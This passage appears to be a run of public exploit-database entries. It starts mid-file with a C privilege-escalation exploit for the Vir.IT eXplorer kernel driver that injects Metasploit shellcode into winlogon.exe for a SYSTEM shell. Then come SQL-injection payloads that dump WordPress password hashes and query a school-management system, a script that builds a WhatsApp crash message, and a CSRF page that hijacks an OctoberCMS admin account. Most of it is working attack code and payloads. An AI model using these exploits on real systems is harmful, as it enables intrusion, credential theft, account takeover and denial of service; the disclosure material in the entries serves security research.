return 0;
}
int spawnShell()
{
// windows/x64/exec - 275 bytes http://www.metasploit.com
// VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe
char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
char* process = "winlogon.exe";
DWORD pid;
HANDLE hProcess;
HANDLE hThread;
LPVOID ptrtomem;
pid = getProcessId(process);
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
printf("\n[-] Unable to open %s process\n\n", process);
return -1;
}
printf("\n[+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);
if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
printf("\n[-] Unable to allocate memory in target process\n\n");
return -1;
}
printf("\n[+] Memory allocated at address 0x%p", ptrtomem);
if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL)))
{
printf("\n[-] Unable to write to process memory\n\n");
return -1;
}
printf("\n[+] Written to allocated process memory");
if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL)
{
CloseHandle(hThread);
printf("\n[-] Unable to create remote thread\n\n");
return -1;
}
printf("\n[+] Created remote thread and executed\n\n");
return 0;
}
QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;
if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}
do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);
printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);
for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}
int main(int argc, char *argv[])
{
QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
QWORD input[3] = {0};
printf("-------------------------------------------------------------------------------\n");
printf(" Vir.IT eXplorer Anti-Virus (VIAGLT64.SYS) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
printf("-------------------------------------------------------------------------------\n");
TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);
TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);
input[0] = TokenAddressTarget;
input[1] = 0x0000000602110000;
input[2] = 0x0000000000110000;
sprintf(devhandle, "\\\\.\\%s", "viragtlt");
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}
printf("\n[~] Press any key to continue . . .\n");
getch();
DeviceIoControl(hDevice, 0x8273007C, input, sizeof(input), NULL, 0, &dwRetBytes, NULL);
printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
CloseHandle(hDevice);
printf("[*] Spawning SYSTEM Shell");
spawnShell();
return 0;
}
# Exploit Title: JTRT Responsive Tables 4.1 – WordPress Plugin – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/jtrt-responsive-tables/
# Software Link: https://wordpress.org/plugins/jtrt-responsive-tables/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.1
# Tested on: Ubuntu 16.04
Description:
Type user acces: single user.
$_POST[‘tableId’] is not escaped.
http://lenonleite.com.br/en/blog/2017/09/11/jtrt-responsive-tables-wordpress-plugin-sql-injection/
File / Code:
Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php
Line : 183
$getTableId = $_POST['tableId'];
...
$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );
Proof of Concept:
1 – Log in with single user.
2 – Using form, sqli by post:
<form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table">
<input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1">
<input type="submit" name="">
</form>
08/09/2017 – Discovered
11/09/2017 – Vendor finded
03/11/2017 – Publish
# Exploit Title: Ingenious School Management System 2.3.0 - SQL injection
# Date: 01.11.2017
# Vendor Homepage: http://iloveprograming.com/
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system
# Demo: http://iloveprograming.com/view/login.php
# Version: 2.3.0
# Category: Webapps
# Tested on: Kali Linux 2.0
# Exploit Author: Giulio Comi
# Contact: https://<http://ihsan.net/>linkedin.com/in/giuliocomi
#Description
This vulnerability allows an attacker to inject SQL commands (without authentication) in 'friend_index' GET parameter.
# Proof of Concept:
http://localhost/view/friend_profile.php?friend_type=Student&friend_index=[SQL_injection_payload]
# Vulnerable Parameter: friend_index (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: friend_type=Student&friend_index=1' AND 2576=2576 AND 'YJeg'='YJeg
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: friend_type=Student&friend_index=1' AND SLEEP(5) AND 'rliO'='rliO
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Found this and more exploits on my open source security project: http://www.exploitpack.com
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Date and time of release: 11 October 2017
#
# Tested on: iPhone 5/6s iOS 10.3.3 and 11
#
# Description:
# WhatsApp 2.17.52 and prior is prone to a remote memory corruption.
# This type of attacks are possible if the program uses memory inefficiently and does not impose limits on the amount of state used when necessary.
#
# Impact:
# Resource exhaustion attacks exploit a design deficiency. An attacker could exploit this vulnerability to remotely corrupt the memory of the application forcing an uhandled exception
# in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption.
#
# Warning note:
# Once a user receives the offending message it will automatically crash the application and if its restarted it will crash again until the message its manually removed from the user's history.
#
# Timeline:
# 09/13/2017 - Research started
# 09/13/2017 - First proof of concept
# 09/15/2017 - Reported to Whatsapp
# 09/20/2017 - Report Triaged by Facebook
# 11/01/2017 - Facebook never replied back with a status fix
# 11/01/2017 - Disclosure as zero day
# Vendor homepage: http://www.whatsapp.com
import sys
reload(sys)
def whatsapp(filename):
sys.setdefaultencoding("utf-8")
payload = u'ب ة ت ث ج ح خ د ذ ر ز س ش ص ض ط ظ ع غ ف ق ك ل م ن' * 1337
sutf8 = payload.encode('UTF-8')
print "[*] Writing to file: " + filename
open(filename, 'w').write(payload)
print "[*] Done."
def howtouse():
print "Usage: whatsapp.py [FILENAME]"
print "[*] Mandatory arguments:"
print "[-] FILENAME"
sys.exit(-1)
if __name__ == "__main__":
try:
print "[*] WhatsApp 2.17.52 iOS - Remote memory corruption by Juan Sacco"
print "[*] How to use: Copy the content of the file and send it as a message to another whatsapp user or group"
whatsapp(sys.argv[1])
except IndexError:
howtouse()
# Exploit Title: OctoberCMS 1.0.426 - CSRF to Admin Account Takover
# Vendor Homepage: https://octobercms.com
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244
1. Description
Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16244
https://vuldb.com/?id.108857
2. Proof of Concept
Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.
<html>
<body>
<form action="http://host/backend/users/myaccount" method="POST">
<input type="hidden" name="_handler" value="onSave" />
<input type="hidden" name="User[login]" value="Admin" />
<input type="hidden" name="User[email]" value="Hacked@hacked.com" />
<input type="hidden" name="User[first_name]" value="Admin" />
<input type="hidden" name="User[last_name]" value="1337" />
<input type="hidden" name="User[password]" value="YourNewPassword" />
<input type="hidden" name="User[password_confirmation]" value="YourNewPassword" />
<input type="hidden" name="redirect" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.
3. Reference
https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
https://vuldb.com/?id.108857
4. Solution
The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0).